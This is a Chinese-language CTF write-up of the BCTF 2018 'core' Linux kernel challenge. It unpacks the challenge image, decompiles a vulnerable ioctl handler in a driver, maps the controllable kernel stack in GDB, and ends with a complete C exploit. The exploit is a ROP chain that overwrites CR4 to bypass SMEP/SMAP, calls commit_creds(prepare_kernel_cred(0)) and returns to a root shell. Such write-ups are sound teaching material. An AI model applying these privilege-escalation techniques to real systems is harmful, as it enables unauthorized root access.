bctf2018-core

  • 题目文件

    1
    2
    3
    4
    总用量 11M
    -rwxrwxrwx 1 greydog users 2.4M Apr 6 11:07 1.cpio
    -rwxrwxrwx 1 greydog users 7.9M Apr 3 09:00 bzImage
    -rwxrwxrwx 1 greydog users 309 Apr 4 07:04 start.sh
  • 查看start.sh

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    #!/bin/sh
    GDB_PORT=1234
    qemu-system-x86_64 \
    -m 256M \
    -kernel ./bzImage \
    -initrd ./1.cpio \
    -append "root=/dev/ram rw console=ttyS0 oops=panic quiet nokaslr" \#关闭了kaslr 地址固定
    -cpu qemu64,+smep,+smap \#开启了smep和smap 需要设置cr4 bypass
    -netdev user,id=t0, -device e1000,netdev=t0,id=nic0 \
    -gdb tcp::${GDB_PORT} \
    -monitor /dev/null -nographic 2>/dev/null
  • 解压bzImage得到vmlinux

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    $ od -h -A d bzImage | grep --color -m 3 -A 1 -i 8b1f#寻找gzip标志
    0016496 2860 007c e0ff 8b1f 0008 0000 0000 0302
    0016512 fdec 7c7b e514 f8dd efff 5926 1008 889c
    --
    0088448 c827 7719 8b1f b2ce b7ae acb6 780d 39f3
    0088464 f465 382a fa58 de1a 065e af27 e5dc f843
    --
    0098464 8b1f de61 f7f1 ed6b 1e79 b33e 4f48 a396
    0098480 b7ec 4b7a 77e7 8af8 e123 2805 596f e304

    dd if=BZIMAGE.INS bs=1 skip=16502 | gunzip > vmlinux.bin
  • 解压cpio文件,得到驱动文件,查看init

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    23
    24
    25
    #!/bin/sh
    mount -t proc proc /proc
    mount -t sysfs sysfs /sys
    mount -t devtmpfs none /dev
    /sbin/mdev -s
    mkdir -p /dev/pts
    mount -vt devpts -o gid=4,mode=620 none /dev/pts
    chmod 666 /dev/ptmx
    echo 1 > /proc/sys/kernel/kptr_restrict
    echo 1 > /proc/sys/kernel/dmesg_restrict
    ifconfig eth0 up
    udhcpc -i eth0
    ifconfig eth0 10.0.2.15 netmask 255.255.255.0
    route add default gw 10.0.2.2
    insmod /fairshare.ko
    chmod 666 /dev/fairshare

    poweroff -d 180 -f &
    #setsid /bin/cttyhack setuidgid 1000 /bin/sh#注释掉普通用户
    /bin/sh#用root用户方便调试
    echo 'sh end!\n'
    umount /proc
    umount /sys

    poweroff -d 0 -f
  • ida打开驱动文件

    • ioctl函数,有锁,只有一个do_sport,do_sport后就是bug(),所以进入do_sport函数必须劫持rip
1
2
3
4
5
6
7
8
9
10
11
12
13
14
_int64 __fastcall device_ioctl(file *filp, unsigned int cmd, unsigned __int64 arg)
{
unsigned __int64 v3; // rbp

v3 = arg;
mutex_lock(&ts_mutex);
if ( cmd == 0x539 )
{
do_sport(v3);
BUG();
}
mutex_unlock(&ts_mutex);
return -22LL;
}
  • 查看do_sport函数,从用户态拷贝数据,设置栈上某写位置为0x9210,能够劫持rip。

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    int __fastcall do_sport(unsigned __int64 arg)
    {
    control_flow_hijack_primitive cfh; // [rsp+10h] [rbp-98h]
    unsigned __int64 v2; // [rsp+A0h] [rbp-8h]

    v2 = __readgsqword(0x28u);
    copy_from_user(&cfh, arg, 0x90LL);
    cfh.rax = 0x9210LL;
    cfh.rbx = 0x9210LL;
    cfh.rcx = 0x9210LL;
    cfh.rdx = 0x9210LL;
    cfh.rsi = 0x9210LL;
    cfh.r8 = 0x9210LL;
    cfh.r9 = 0x9210LL;
    cfh.r10 = 0x9210LL;
    cfh.r11 = 0x9210LL;
    cfh.r12 = 0x9210LL;
    cfh.r13 = 0x9210LL;
    cfh.r14 = 0x9210LL;
    JUMPOUT(__CS__, cfh.rip);
    }
  • 漏洞利用

    • 编写poc查看栈分布情况

      1
      2
      3
      4
      5
      6
      7
      8
      9
      10
      11
      12
      13
      14
      15
      16
      17
      18
      19
      20
      21
      22
      23
      24
      25
      26
      27
      28
      29
      30
      31
      32
      33
      34
      35
      36
      37
      38
      39
      40
      41
      42
      43
      44
      45
      46
      47
      48
      49
      50
      51
      52
      53
      54
      55
      56
      57
      58
      59
      60
      gdb vmlinux.bin
      / # lsmod
      fairshare 16384 0 - Live 0xffffffffc0000000 (O)
      gdb-peda$ add-symbol-file fairshare.ko 0xffffffffc0000000
      add symbol table from file "fairshare.ko" at
      .text_addr = 0xffffffffc0000000
      Reading symbols from fairshare.ko...done.
      gdb-peda$ define hook-stop
      Type commands for definition of "hook-stop".
      End with a line saying just "end".
      >info registers
      >x /10i $rip
      >x /10gx $rsp
      >end
      gdb-peda$ break do_sport
      gdb-peda$ target remote localhost:1234
      #运行poc后断在do—sport返回
      rax 0xacacacacacacacac 0xacacacacacacacac
      rbx 0x539 0x539
      rcx 0x0 0x0
      rdx 0x0 0x0
      rsi 0x7ffcac68d510 0x7ffcac68d510
      rdi 0xabababababababab 0xabababababababab#第一个参数可控
      rbp 0x7ffcac68d480 0x7ffcac68d480
      rsp 0xffffc9000011fdc0 0xffffc9000011fdc0
      r8 0xabababababababab 0xabababababababab
      r9 0x1313131313131313 0x1313131313131313
      r10 0x1414141414141414 0x1414141414141414
      r11 0x1515151515151515 0x1515151515151515
      r12 0x7ffcac68d480 0x7ffcac68d480
      r13 0x539 0x539
      r14 0x7ffcac68d480 0x7ffcac68d480
      r15 0x0 0x0
      rip 0xffffffffc0000235 0xffffffffc0000235 <do_sport+181>
      eflags 0x246 [ PF ZF IF ]
      cs 0x10 0x10
      ss 0x18 0x18
      ds 0x0 0x0
      es 0x0 0x0
      fs 0x0 0x0
      gs 0x0 0x0
      => 0xffffffffc0000235 <do_sport+181>: push QWORD PTR [rsp+0x8]
      0xffffffffc0000239 <do_sport+185>: ret
      0xffffffffc000023a <do_sport+186>: mov rcx,QWORD PTR [rsp+0xa0]
      0xffffffffc0000242 <do_sport+194>: xor rcx,QWORD PTR gs:0x28
      0xffffffffc000024b <do_sport+203>: jne 0xffffffffc000025a <do_sport+218>
      0xffffffffc000024d <do_sport+205>: mov eax,0xfffffff3
      0xffffffffc0000252 <do_sport+210>: add rsp,0xa8
      0xffffffffc0000259 <do_sport+217>: ret
      0xffffffffc000025a <do_sport+218>: call 0xffffffff8105a4b0
      0xffffffffc000025f: nop
      0xffffc9000011fdc0: 0xabababababababab 0xacacacacacacacac#rip可控
      0xffffc9000011fdd0: 0x0000000000009210 0x0000000000009210
      0xffffc9000011fde0: 0x0000000000009210 0x0000000000009210
      0xffffc9000011fdf0: 0x0000000000009210 0xabababababababab#连续可控区域
      0xffffc9000011fe00: 0xaeaeaeaeaeaeaeae 0xafafafafafafafaf
      0xffffc9000011fe10: 0x0000000000009210 0x0000000000009210
      0xffffc9000011fe20: 0x0000000000009210 0x0000000000009210
      0xffffc9000011fe30: 0x0000000000009210 0x0000000000009210
      0xffffc9000011fe40: 0x0000000000009210 0x1515151515151515
      • 构造rop链
        • bypass smep &smap
        • stack migration 跳到用户态空间继续执行提权rop
  • 完整exp(很奇怪 前半夜跳到prepare_kernel_cred一直出错 下半夜就好了 )

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    23
    24
    25
    26
    27
    28
    29
    30
    31
    32
    33
    34
    35
    36
    37
    38
    39
    40
    41
    42
    43
    44
    45
    46
    47
    48
    49
    50
    51
    52
    53
    54
    55
    56
    57
    58
    59
    60
    61
    62
    63
    64
    65
    66
    67
    68
    69
    70
    71
    72
    73
    74
    75
    76
    77
    78
    79
    80
    81
    82
    83
    84
    85
    86
    87
    88
    89
    90
    91
    92
    93
    94
    95
    96
    97
    98
    99
    100
    101
    102
    103
    104
    105
    106
    107
    108
    109
    110
    111
    112
    113
    114
    115
    116
    117
    118
    119
    120
    121
    122
    123
    124
    125
    126
    127
    128
    129
    #include <stdio.h>
    #include <stdlib.h>
    #include <fcntl.h>
    #include <inttypes.h>
    #include <unistd.h>
    #include <sys/ioctl.h>
    #include <sys/mman.h>
    #include <stdint.h>
    #define do_sport 0x539


    void get_shell(){
    system("/bin/sh");
    }

    unsigned long user_cs ,user_ss,user_rflags;
    void save_stats() {
    asm(
    "movq %%cs, %0\n" // mov rcx, cs
    "movq %%ss, %1\n" // mov rdx, ss
    "pushfq\n" // 把rflags的值压栈
    "popq %2\n" // pop rax
    :"=r"(user_cs), "=r"(user_ss), "=r"(user_rflags) : : "memory" // mov user_cs, rcx; mov user_ss, rdx; mov user_flags, rax
    );
    printf("user_cs = %lx, user_ss = %lx, user_rflags = %lx\n",
    user_cs,
    user_ss,
    user_rflags
    );
    }


    typedef struct control_flow_hijack_primitive
    {
    uint64_t rax;
    uint64_t rbx;
    uint64_t rcx;
    uint64_t rdx;
    uint64_t rsi;
    uint64_t rdi;
    uint64_t rsp;
    uint64_t rbp;
    uint64_t r8;
    uint64_t r9;
    uint64_t r10;
    uint64_t r11;
    uint64_t r12;
    uint64_t r13;
    uint64_t r14;
    uint64_t r15;
    uint64_t rip;
    uint64_t reset_all;
    }control_flow_hijack_primitive;



    void set_memory(){
    uint64_t mmap_start , mmap_size;
    mmap_start = 0x1000;
    mmap_size = 0x20000;
    if( mmap( (void*)mmap_start,
    mmap_size,
    PROT_READ|PROT_WRITE|PROT_EXEC,
    MAP_PRIVATE|MAP_ANONYMOUS|MAP_FIXED,
    -1,
    0) == MAP_FAILED
    )
    {
    perror("mmap fault\n");
    exit(-1);
    }
    mprotect(mmap_start, mmap_size, PROT_READ|PROT_WRITE|PROT_EXEC);
    int i = 0;
    uint64_t * mmap_ptr64_0 = (uint64_t *)mmap_start;
    for( i = 0; i < mmap_size / 8; i = i + 1)
    {
    mmap_ptr64_0[i] = mmap_start;
    }
    save_stats();
    uint64_t fakeStack = mmap_start;
    u_int64_t * mmap_ptr64 = (uint64_t *)((char *)0x9000 + 0x210);
    mmap_ptr64[1] = 0xffffffff810420e0;//xor -> rdi = 0;
    mmap_ptr64[2] = 0xffffffff8107a500;//prepare_kernel_cred
    mmap_ptr64[3] = 0xffffffff8188d61a;// mov rdi,rax; set rdi for commit_creds
    mmap_ptr64[4] = 0x1111111111111111;// commit_creds
    mmap_ptr64[5] = 0xffffffff8107a190;// commit_creds
    mmap_ptr64[6] = 0xffffffff81046fe0;//swapgs ;ret
    mmap_ptr64[7] = 0xffffffff8101fb32;//iretq objdump -j .text -d vmlinux.bin | grep iretq | head -1
    mmap_ptr64[8] = get_shell;
    mmap_ptr64[9] = user_cs;
    mmap_ptr64[10] = user_rflags;
    mmap_ptr64[11] = mmap_start +0x1000;
    mmap_ptr64[12] = user_ss;

    }

    int main(void)
    {
    int fd;
    control_flow_hijack_primitive cfhp;
    char buf[100];
    cfhp.rax = 0xaaaaaaaaaaaaaaaa;
    cfhp.rbx = 0xbbbbbbbbbbbbbbbb;
    cfhp.rcx = 0xcccccccccccccccc;
    cfhp.rdx = 0xdddddddddddddddd;
    cfhp.rsi = 0xeeeeeeeeeeeeeeee;
    cfhp.rdx = 0xffffffffffffffff;
    cfhp.r8 = 0x8888888888888888;
    cfhp.r9 = 0x9999999999999999;
    cfhp.r10 = 0x1010101010101010;
    cfhp.r11 = 0x1111111111111111;
    cfhp.r12 = 0x1212121212121212;
    cfhp.r13 = 0x1313131313131313;
    cfhp.r14 = 0x1414141414141414;
    cfhp.r15 = 0x1515151515151515;
    cfhp.rdi = 0x00000000000006f0;
    cfhp.rip = 0xffffffff810b9bef;//add rsp 0x40 -> mov cr4 rdi
    cfhp.rsp = 0xffffffff81046f20; // mov cr4 rdi bypass smep
    cfhp.rbp = 0xffffffff810566a2;
    cfhp.reset_all = 0xabababababababab;


    save_stats();
    set_memory();
    fd = open("/dev/fairshare",O_RDWR);
    ioctl(fd,do_sport,&cfhp);
    close(fd);
    return 0;
    }
  • 总结

    • 最好还是编译一个带符号的内核或者下载内核符号表,不然跟到报错输出才知道早就跳出了正常流程。